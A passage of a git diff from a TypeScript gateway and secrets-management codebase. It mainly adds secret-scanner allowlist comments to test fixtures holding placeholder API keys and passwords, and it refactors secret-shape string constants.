"AUTH_PASSWORD_MISMATCH", // pragma: allowlist secret + AUTH_PASSWORD_NOT_CONFIGURED: "AUTH_PASSWORD_NOT_CONFIGURED", // pragma: allowlist secret AUTH_DEVICE_TOKEN_MISMATCH: "AUTH_DEVICE_TOKEN_MISMATCH", AUTH_RATE_LIMITED: "AUTH_RATE_LIMITED", AUTH_TAILSCALE_IDENTITY_MISSING: "AUTH_TAILSCALE_IDENTITY_MISSING", diff --git a/src/gateway/resolve-configured-secret-input-string.ts b/src/gateway/resolve-configured-secret-input-string.ts index c83354aa9dd..e698b09910c 100644 --- a/src/gateway/resolve-configured-secret-input-string.ts +++ b/src/gateway/resolve-configured-secret-input-string.ts @@ -3,7 +3,7 @@ import { resolveSecretInputRef } from "../config/types.secrets.js"; import { secretRefKey } from "../secrets/ref-contract.js"; import { resolveSecretRefValues } from "../secrets/resolve.js"; -export type SecretInputUnresolvedReasonStyle = "generic" | "detailed"; +export type SecretInputUnresolvedReasonStyle = "generic" | "detailed"; // pragma: allowlist secret function trimToUndefined(value: unknown): string | undefined { if (typeof value !== "string") { diff --git a/src/gateway/server-methods/nodes.invoke-wake.test.ts b/src/gateway/server-methods/nodes.invoke-wake.test.ts index 39392db70b5..6e3ced97d6f 100644 --- a/src/gateway/server-methods/nodes.invoke-wake.test.ts +++ b/src/gateway/server-methods/nodes.invoke-wake.test.ts @@ -115,7 +115,7 @@ function mockSuccessfulWakeConfig(nodeId: string) { value: { teamId: "TEAM123", keyId: "KEY123", - privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", + privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", // pragma: allowlist secret }, }); mocks.sendApnsBackgroundWake.mockResolvedValue({ diff --git a/src/gateway/server.auth.modes.suite.ts b/src/gateway/server.auth.modes.suite.ts index efe9ad7b111..77c23a0d0b2 100644 --- a/src/gateway/server.auth.modes.suite.ts +++ b/src/gateway/server.auth.modes.suite.ts @@ -20,7 +20,7 @@ export function registerAuthModesSuite(): void { let port: number; beforeAll(async () => { - testState.gatewayAuth = { mode: "password", password: "secret" }; + testState.gatewayAuth = { mode: "password", password: "secret" }; // pragma: allowlist secret port = await getFreePort(); server = await startGatewayServer(port); }); @@ -31,14 +31,14 @@ export function registerAuthModesSuite(): void { test("accepts password auth when configured", async () => { const ws = await openWs(port); - const res = await connectReq(ws, { password: "secret" }); + const res = await connectReq(ws, { password: "secret" }); // pragma: allowlist secret expect(res.ok).toBe(true); ws.close(); }); test("rejects invalid password", async () => { const ws = await openWs(port); - const res = await connectReq(ws, { password: "wrong" }); + const res = await connectReq(ws, { password: "wrong" }); // pragma: allowlist secret expect(res.ok).toBe(false); expect(res.error?.message ?? "").toContain("unauthorized"); ws.close(); diff --git a/src/gateway/server.reload.test.ts b/src/gateway/server.reload.test.ts index a6fa5327628..e691256d70f 100644 --- a/src/gateway/server.reload.test.ts +++ b/src/gateway/server.reload.test.ts @@ -465,7 +465,7 @@ describe("gateway hot reload", () => { serverOptions: { auth: { mode: "password", - password: "override-password", + password: "override-password", // pragma: allowlist secret }, }, }), @@ -486,7 +486,7 @@ describe("gateway hot reload", () => { it("emits one-shot degraded and recovered system events during secret reload transitions", async () => { await writeEnvRefConfig(); - process.env.OPENAI_API_KEY = "sk-startup"; + process.env.OPENAI_API_KEY = "sk-startup"; // pragma: allowlist secret await withGatewayServer(async () => { const onHotReload = hoisted.getOnHotReload(); @@ -531,7 +531,7 @@ describe("gateway hot reload", () => { ); expect(drainSystemEvents(sessionKey)).toEqual([]); - process.env.OPENAI_API_KEY = "sk-recovered"; + process.env.OPENAI_API_KEY = "sk-recovered"; // pragma: allowlist secret await expect(onHotReload?.(plan, nextConfig)).resolves.toBeUndefined(); const recoveredEvents = drainSystemEvents(sessionKey); expect(recoveredEvents.some((event) => event.includes("[SECRETS_RELOADER_RECOVERED]"))).toBe( @@ -542,7 +542,7 @@ describe("gateway hot reload", () => { it("serves secrets.reload immediately after startup without race failures", async () => { await writeEnvRefConfig(); - process.env.OPENAI_API_KEY = "sk-startup"; + process.env.OPENAI_API_KEY = "sk-startup"; // pragma: allowlist secret const { server, ws } = await startServerWithClient(); try { await connectOk(ws); diff --git a/src/infra/channel-summary.test.ts b/src/infra/channel-summary.test.ts index d56bdd7ac1e..1a16bdc53b6 100644 --- a/src/infra/channel-summary.test.ts +++ b/src/infra/channel-summary.test.ts @@ -33,9 +33,9 @@ function makeSlackHttpSummaryPlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret } : { accountId: "primary", diff --git a/src/infra/channel-summary.ts b/src/infra/channel-summary.ts index f412d687fd1..08fd35d9327 100644 --- a/src/infra/channel-summary.ts +++ b/src/infra/channel-summary.ts @@ -69,7 +69,10 @@ const buildAccountDetails = (params: { if (snapshot.appTokenSource && snapshot.appTokenSource !== "none") { details.push(`app:${snapshot.appTokenSource}`); } - if (snapshot.signingSecretSource && snapshot.signingSecretSource !== "none") { + if ( + snapshot.signingSecretSource && + snapshot.signingSecretSource !== "none" /* pragma: allowlist secret */ + ) { details.push(`signing:${snapshot.signingSecretSource}`); } if (hasConfiguredUnavailableCredentialStatus(params.entry.account)) { diff --git a/src/infra/provider-usage.auth.normalizes-keys.test.ts b/src/infra/provider-usage.auth.normalizes-keys.test.ts index 3dccd2bf1be..bae5ae5a7d9 100644 --- a/src/infra/provider-usage.auth.normalizes-keys.test.ts +++ b/src/infra/provider-usage.auth.normalizes-keys.test.ts @@ -248,17 +248,17 @@ describe("resolveProviderAuths key normalization", () => { zai: { baseUrl: "https://api.z.ai", models: [modelDef], - apiKey: "cfg-zai-key", + apiKey: "cfg-zai-key", // pragma: allowlist secret }, minimax: { baseUrl: "https://api.minimaxi.com", models: [modelDef], - apiKey: "cfg-minimax-key", + apiKey: "cfg-minimax-key", // pragma: allowlist secret }, xiaomi: { baseUrl: "https://api.xiaomi.example", models: [modelDef], - apiKey: "cfg-xiaomi-key", + apiKey: "cfg-xiaomi-key", // pragma: allowlist secret }, }, }, diff --git a/src/media-understanding/providers/moonshot/video.test.ts b/src/media-understanding/providers/moonshot/video.test.ts index eba98042884..f6ffb1ca957 100644 --- a/src/media-understanding/providers/moonshot/video.test.ts +++ b/src/media-understanding/providers/moonshot/video.test.ts @@ -16,7 +16,7 @@ describe("describeMoonshotVideo", () => { const result = await describeMoonshotVideo({ buffer: Buffer.from("video-bytes"), fileName: "clip.mp4", - apiKey: "moonshot-test", + apiKey: "moonshot-test", // pragma: allowlist secret timeoutMs: 1500, baseUrl: "https://api.moonshot.ai/v1/", model: "kimi-k2.5", @@ -61,7 +61,7 @@ describe("describeMoonshotVideo", () => { const result = await describeMoonshotVideo({ buffer: Buffer.from("video"), fileName: "clip.mp4", - apiKey: "moonshot-test", + apiKey: "moonshot-test", // pragma: allowlist secret timeoutMs: 1000, fetchFn, }); diff --git a/src/media-understanding/runner.auto-audio.test.ts b/src/media-understanding/runner.auto-audio.test.ts index 975f1438b46..b2e282f3666 100644 --- a/src/media-understanding/runner.auto-audio.test.ts +++ b/src/media-understanding/runner.auto-audio.test.ts @@ -120,7 +120,7 @@ describe("runCapability auto audio entries", () => { delete process.env.GROQ_API_KEY; delete process.env.DEEPGRAM_API_KEY; delete process.env.GEMINI_API_KEY; - process.env.MISTRAL_API_KEY = "mistral-test-key"; + process.env.MISTRAL_API_KEY = "mistral-test-key"; // pragma: allowlist secret let runResult: Awaited> | undefined; try { await withAudioFixture("openclaw-auto-audio-mistral", async ({ ctx, media, cache }) => { @@ -140,7 +140,7 @@ describe("runCapability auto audio entries", () => { models: { providers: { mistral: { - apiKey: "mistral-test-key", + apiKey: "mistral-test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media-understanding/runner.proxy.test.ts b/src/media-understanding/runner.proxy.test.ts index b96f099d3cc..f05ff4a87a1 100644 --- a/src/media-understanding/runner.proxy.test.ts +++ b/src/media-understanding/runner.proxy.test.ts @@ -25,7 +25,7 @@ async function runAudioCapabilityWithFetchCapture(params: { models: { providers: { openai: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, @@ -80,7 +80,7 @@ describe("runCapability proxy fetch passthrough", () => { models: { providers: { moonshot: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media-understanding/runner.skip-tiny-audio.test.ts b/src/media-understanding/runner.skip-tiny-audio.test.ts index 6447e2b1dbf..a4021fb52a8 100644 --- a/src/media-understanding/runner.skip-tiny-audio.test.ts +++ b/src/media-understanding/runner.skip-tiny-audio.test.ts @@ -52,7 +52,7 @@ const AUDIO_CAPABILITY_CFG = { models: { providers: { openai: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/memory/embeddings.test.ts b/src/memory/embeddings.test.ts index c8cca71029e..027673c7099 100644 --- a/src/memory/embeddings.test.ts +++ b/src/memory/embeddings.test.ts @@ -233,7 +233,7 @@ describe("embedding provider remote overrides", () => { config: {} as never, provider: "gemini", remote: { - apiKey: "GEMINI_API_KEY", + apiKey: "GEMINI_API_KEY", // pragma: allowlist secret }, model: "text-embedding-004", fallback: "openai", @@ -266,7 +266,7 @@ describe("embedding provider remote overrides", () => { config: cfg as never, provider: "mistral", remote: { - apiKey: "mistral-key", + apiKey: "mistral-key", // pragma: allowlist secret }, model: "mistral/mistral-embed", fallback: "none", @@ -356,7 +356,7 @@ describe("embedding provider auto selection", () => { vi.stubGlobal("fetch", fetchMock); vi.mocked(authModule.resolveApiKeyForProvider).mockImplementation(async ({ provider }) => { if (provider === "mistral") { - return { apiKey: "mistral-key", source: "env: MISTRAL_API_KEY", mode: "api-key" }; + return { apiKey: "mistral-key", source: "env: MISTRAL_API_KEY", mode: "api-key" }; // pragma: allowlist secret } throw new Error(`No API key found for provider "${provider}".`); }); diff --git a/src/secrets/apply.ts b/src/secrets/apply.ts index 1286071cf91..85408954239 100644 --- a/src/secrets/apply.ts +++ b/src/secrets/apply.ts @@ -298,7 +298,8 @@ function applyConfigTargetMutations(params: { } const targetPathSegments = resolved.pathSegments; - if (resolved.entry.secretShape === "sibling_ref") { + const usesSiblingRef = resolved.entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (usesSiblingRef) { const previous = getPath(params.nextConfig, targetPathSegments); if (isNonEmptyString(previous)) { scrubbedValues.add(previous.trim()); @@ -530,7 +531,8 @@ function applyAuthProfileTargetMutation(params: { store, }); const targetPathSegments = params.resolved.pathSegments; - if (params.resolved.entry.secretShape === "sibling_ref") { + const usesSiblingRef = params.resolved.entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (usesSiblingRef) { const previous = getPath(store, targetPathSegments); if (isNonEmptyString(previous)) { params.scrubbedValues.add(previous.trim()); diff --git a/src/secrets/audit.test.ts b/src/secrets/audit.test.ts index 21f59d51cac..cd85d84d3d8 100644 --- a/src/secrets/audit.test.ts +++ b/src/secrets/audit.test.ts @@ -53,7 +53,7 @@ async function createAuditFixture(): Promise { env: { OPENCLAW_STATE_DIR: stateDir, OPENCLAW_CONFIG_PATH: configPath, - OPENAI_API_KEY: "env-openai-key", + OPENAI_API_KEY: "env-openai-key", // pragma: allowlist secret PATH: resolveRuntimePathEnv(), }, }; @@ -146,7 +146,7 @@ describe("secrets audit", () => { "#!/bin/sh", `printf 'x\\n' >> ${JSON.stringify(execLogPath)}`, "cat >/dev/null", - 'printf \'{"protocolVersion":1,"values":{"providers/openai/apiKey":"value:providers/openai/apiKey","providers/moonshot/apiKey":"value:providers/moonshot/apiKey"}}\'', + 'printf \'{"protocolVersion":1,"values":{"providers/openai/apiKey":"value:providers/openai/apiKey","providers/moonshot/apiKey":"value:providers/moonshot/apiKey"}}\'', // pragma: allowlist secret ].join("\n"), { encoding: "utf8", mode: 0o700 }, ); diff --git a/src/secrets/audit.ts b/src/secrets/audit.ts index 277983d1deb..132ea4ac431 100644 --- a/src/secrets/audit.ts +++ b/src/secrets/audit.ts @@ -36,7 +36,7 @@ export type SecretsAuditCode = | "REF_SHADOWED" | "LEGACY_RESIDUE"; -export type SecretsAuditSeverity = "info" | "warn" | "error"; +export type SecretsAuditSeverity = "info" | "warn" | "error"; // pragma: allowlist secret export type SecretsAuditFinding = { code: SecretsAuditCode; @@ -48,7 +48,7 @@ export type SecretsAuditFinding = { profileId?: string; }; -export type SecretsAuditStatus = "clean" | "findings" | "unresolved"; +export type SecretsAuditStatus = "clean" | "findings" | "unresolved"; // pragma: allowlist secret export type SecretsAuditReport = { version: 1; diff --git a/src/secrets/command-config.ts b/src/secrets/command-config.ts index dc542eba00b..0d264aad9e7 100644 --- a/src/secrets/command-config.ts +++ b/src/secrets/command-config.ts @@ -79,7 +79,9 @@ export function analyzeCommandSecretAssignmentsFromSnapshot(params: { value: resolved, }); - if (target.entry.secretShape === "sibling_ref" && explicitRef && inlineCandidateRef) { + const hasCompetingSiblingRef = + target.entry.secretShape === "sibling_ref" && explicitRef && inlineCandidateRef; // pragma: allowlist secret + if (hasCompetingSiblingRef) { diagnostics.push( `${target.path}: both inline and sibling ref were present; sibling ref took precedence.`, ); diff --git a/src/secrets/credential-matrix.ts b/src/secrets/credential-matrix.ts index a3c44e34fdb..05fa45f749e 100644 --- a/src/secrets/credential-matrix.ts +++ b/src/secrets/credential-matrix.ts @@ -6,7 +6,7 @@ type CredentialMatrixEntry = { path: string; refPath?: string; when?: { type: "api_key" | "token" }; - secretShape: "secret_input" | "sibling_ref"; + secretShape: "secret_input" | "sibling_ref"; // pragma: allowlist secret optIn: true; notes?: string; }; diff --git a/src/secrets/resolve.test.ts b/src/secrets/resolve.test.ts index 716ab5af7fa..376f591b73e 100644 --- a/src/secrets/resolve.test.ts +++ b/src/secrets/resolve.test.ts @@ -153,7 +153,7 @@ describe("secret ref resolver", () => { { source: "env", provider: "default", id: "OPENAI_API_KEY" }, { config, - env: { OPENAI_API_KEY: "sk-env-value" }, + env: { OPENAI_API_KEY: "sk-env-value" }, // pragma: allowlist secret }, ); expect(value).toBe("sk-env-value"); @@ -167,7 +167,7 @@ describe("secret ref resolver", () => { JSON.stringify({ providers: { openai: { - apiKey: "sk-file-value", + apiKey: "sk-file-value", // pragma: allowlist secret }, }, }), @@ -375,7 +375,7 @@ describe("secret ref resolver", () => { JSON.stringify({ providers: { openai: { - apiKey: "sk-file-value", + apiKey: "sk-file-value", // pragma: allowlist secret }, }, }), diff --git a/src/secrets/runtime.test.ts b/src/secrets/runtime.test.ts index 40e766179e2..e1ca5774a75 100644 --- a/src/secrets/runtime.test.ts +++ b/src/secrets/runtime.test.ts @@ -122,21 +122,21 @@ describe("secrets runtime snapshot", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config, env: { - OPENAI_API_KEY: "sk-env-openai", - GITHUB_TOKEN: "ghp-env-token", - REVIEW_SKILL_API_KEY: "sk-skill-ref", - MEMORY_REMOTE_API_KEY: "mem-ref-key", - TALK_API_KEY: "talk-ref-key", - TALK_PROVIDER_API_KEY: "talk-provider-ref-key", + OPENAI_API_KEY: "sk-env-openai", // pragma: allowlist secret + GITHUB_TOKEN: "ghp-env-token", // pragma: allowlist secret + REVIEW_SKILL_API_KEY: "sk-skill-ref", // pragma: allowlist secret + MEMORY_REMOTE_API_KEY: "mem-ref-key", // pragma: allowlist secret + TALK_API_KEY: "talk-ref-key", // pragma: allowlist secret + TALK_PROVIDER_API_KEY: "talk-provider-ref-key", // pragma: allowlist secret REMOTE_GATEWAY_TOKEN: "remote-token-ref", - REMOTE_GATEWAY_PASSWORD: "remote-password-ref", + REMOTE_GATEWAY_PASSWORD: "remote-password-ref", // pragma: allowlist secret TELEGRAM_BOT_TOKEN_REF: "telegram-bot-ref", - TELEGRAM_WEBHOOK_SECRET_REF: "telegram-webhook-ref", + TELEGRAM_WEBHOOK_SECRET_REF: "telegram-webhook-ref", // pragma: allowlist secret TELEGRAM_WORK_BOT_TOKEN_REF: "telegram-work-ref", - SLACK_SIGNING_SECRET_REF: "slack-signing-ref", + SLACK_SIGNING_SECRET_REF: "slack-signing-ref", // pragma: allowlist secret SLACK_WORK_BOT_TOKEN_REF: "slack-work-bot-ref", SLACK_WORK_APP_TOKEN_REF: "slack-work-app-ref", - WEB_SEARCH_API_KEY: "web-search-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => @@ -305,7 +305,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_API_KEY: "web-search-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -343,8 +343,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_API_KEY: "web-search-ref", - WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret + WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -374,7 +374,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", + WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -399,7 +399,7 @@ describe("secrets runtime snapshot", () => { { providers: { openai: { - apiKey: "sk-from-file-provider", + apiKey: "sk-from-file-provider", // pragma: allowlist secret }, }, }, @@ -494,7 +494,7 @@ describe("secrets runtime snapshot", () => { }, }, }), - env: { OPENAI_API_KEY: "sk-runtime" }, + env: { OPENAI_API_KEY: "sk-runtime" }, // pragma: allowlist secret agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => loadAuthStoreWithProfiles({ @@ -603,7 +603,7 @@ describe("secrets runtime snapshot", () => { auth: { mode: "password", token: "local-token", - password: "local-password", + password: "local-password", // pragma: allowlist secret }, remote: { enabled: true, @@ -642,7 +642,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - GATEWAY_PASSWORD_REF: "resolved-gateway-password", + GATEWAY_PASSWORD_REF: "resolved-gateway-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -680,7 +680,7 @@ describe("secrets runtime snapshot", () => { auth: { mode: "password", token: { source: "env", provider: "default", id: "GATEWAY_TOKEN_REF" }, - password: "password-123", + password: "password-123", // pragma: allowlist secret }, }, }), @@ -728,7 +728,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - GATEWAY_PASSWORD_REF: "resolved-gateway-password", + GATEWAY_PASSWORD_REF: "resolved-gateway-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -822,7 +822,7 @@ describe("secrets runtime snapshot", () => { }), env: { REMOTE_TOKEN: "resolved-remote-token", - REMOTE_PASSWORD: "resolved-remote-password", + REMOTE_PASSWORD: "resolved-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -846,7 +846,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - REMOTE_PASSWORD: "resolved-remote-password", + REMOTE_PASSWORD: "resolved-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -980,8 +980,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - NEXTCLOUD_BOT_SECRET: "resolved-nextcloud-bot-secret", - NEXTCLOUD_API_PASSWORD: "resolved-nextcloud-api-password", + NEXTCLOUD_BOT_SECRET: "resolved-nextcloud-bot-secret", // pragma: allowlist secret + NEXTCLOUD_API_PASSWORD: "resolved-nextcloud-api-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1022,8 +1022,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - NEXTCLOUD_WORK_BOT_SECRET: "resolved-nextcloud-work-bot-secret", - NEXTCLOUD_WORK_API_PASSWORD: "resolved-nextcloud-work-api-password", + NEXTCLOUD_WORK_BOT_SECRET: "resolved-nextcloud-work-bot-secret", // pragma: allowlist secret + NEXTCLOUD_WORK_API_PASSWORD: "resolved-nextcloud-work-api-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1058,7 +1058,7 @@ describe("secrets runtime snapshot", () => { }), env: { REMOTE_GATEWAY_TOKEN: "tailscale-remote-token", - REMOTE_GATEWAY_PASSWORD: "tailscale-remote-password", + REMOTE_GATEWAY_PASSWORD: "tailscale-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1931,7 +1931,7 @@ describe("secrets runtime snapshot", () => { list: [{ id: "worker" }], }, }, - env: { OPENAI_API_KEY: "sk-runtime-worker" }, + env: { OPENAI_API_KEY: "sk-runtime-worker" }, // pragma: allowlist secret }); await expect(fs.access(workerStorePath)).rejects.toMatchObject({ code: "ENOENT" }); diff --git a/src/secrets/secret-value.ts b/src/secrets/secret-value.ts index 9713451e892..9a192fede16 100644 --- a/src/secrets/secret-value.ts +++ b/src/secrets/secret-value.ts @@ -1,6 +1,6 @@ import { isNonEmptyString, isRecord } from "./shared.js"; -export type SecretExpectedResolvedValue = "string" | "string-or-object"; +export type SecretExpectedResolvedValue = "string" | "string-or-object"; // pragma: allowlist secret export function isExpectedResolvedSecretValue( value: unknown, diff --git a/src/secrets/target-registry-data.ts b/src/secrets/target-registry-data.ts index 53eb4307751..61ccb1f9b66 100644 --- a/src/secrets/target-registry-data.ts +++ b/src/secrets/target-registry-data.ts @@ -1,5 +1,8 @@ import type { SecretTargetRegistryEntry } from "./target-registry-types.js"; +const SECRET_INPUT_SHAPE = "secret_input"; // pragma: allowlist secret +const SIBLING_REF_SHAPE = "sibling_ref"; // pragma: allowlist secret + const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ { id: "auth-profiles.api_key.key", @@ -7,7 +10,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "auth-profiles.json", pathPattern: "profiles.*.key", refPathPattern: "profiles.*.keyRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -20,7 +23,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "auth-profiles.json", pathPattern: "profiles.*.token", refPathPattern: "profiles.*.tokenRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -32,7 +35,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "agents.defaults.memorySearch.remote.apiKey", configFile: "openclaw.json", pathPattern: "agents.defaults.memorySearch.remote.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -43,7 +46,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "agents.list[].memorySearch.remote.apiKey", configFile: "openclaw.json", pathPattern: "agents.list[].memorySearch.remote.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -54,7 +57,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.bluebubbles.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.bluebubbles.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -65,7 +68,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.bluebubbles.password", configFile: "openclaw.json", pathPattern: "channels.bluebubbles.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -76,7 +79,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.pluralkit.token", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.pluralkit.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -87,7 +90,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.token", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -98,7 +101,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.voice.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.voice.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -109,7 +112,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.voice.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.voice.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -120,7 +123,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.pluralkit.token", configFile: "openclaw.json", pathPattern: "channels.discord.pluralkit.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -131,7 +134,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.token", configFile: "openclaw.json", pathPattern: "channels.discord.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -142,7 +145,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.voice.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.voice.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -153,7 +156,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.voice.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.voice.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -164,7 +167,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.accounts.*.appSecret", configFile: "openclaw.json", pathPattern: "channels.feishu.accounts.*.appSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -175,7 +178,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.accounts.*.verificationToken", configFile: "openclaw.json", pathPattern: "channels.feishu.accounts.*.verificationToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -186,7 +189,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.appSecret", configFile: "openclaw.json", pathPattern: "channels.feishu.appSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -197,7 +200,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.verificationToken", configFile: "openclaw.json", pathPattern: "channels.feishu.verificationToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -210,7 +213,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "openclaw.json", pathPattern: "channels.googlechat.accounts.*.serviceAccount", refPathPattern: "channels.googlechat.accounts.*.serviceAccountRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string-or-object", includeInPlan: true, includeInConfigure: true, @@ -223,7 +226,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "openclaw.json", pathPattern: "channels.googlechat.serviceAccount", refPathPattern: "channels.googlechat.serviceAccountRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string-or-object", includeInPlan: true, 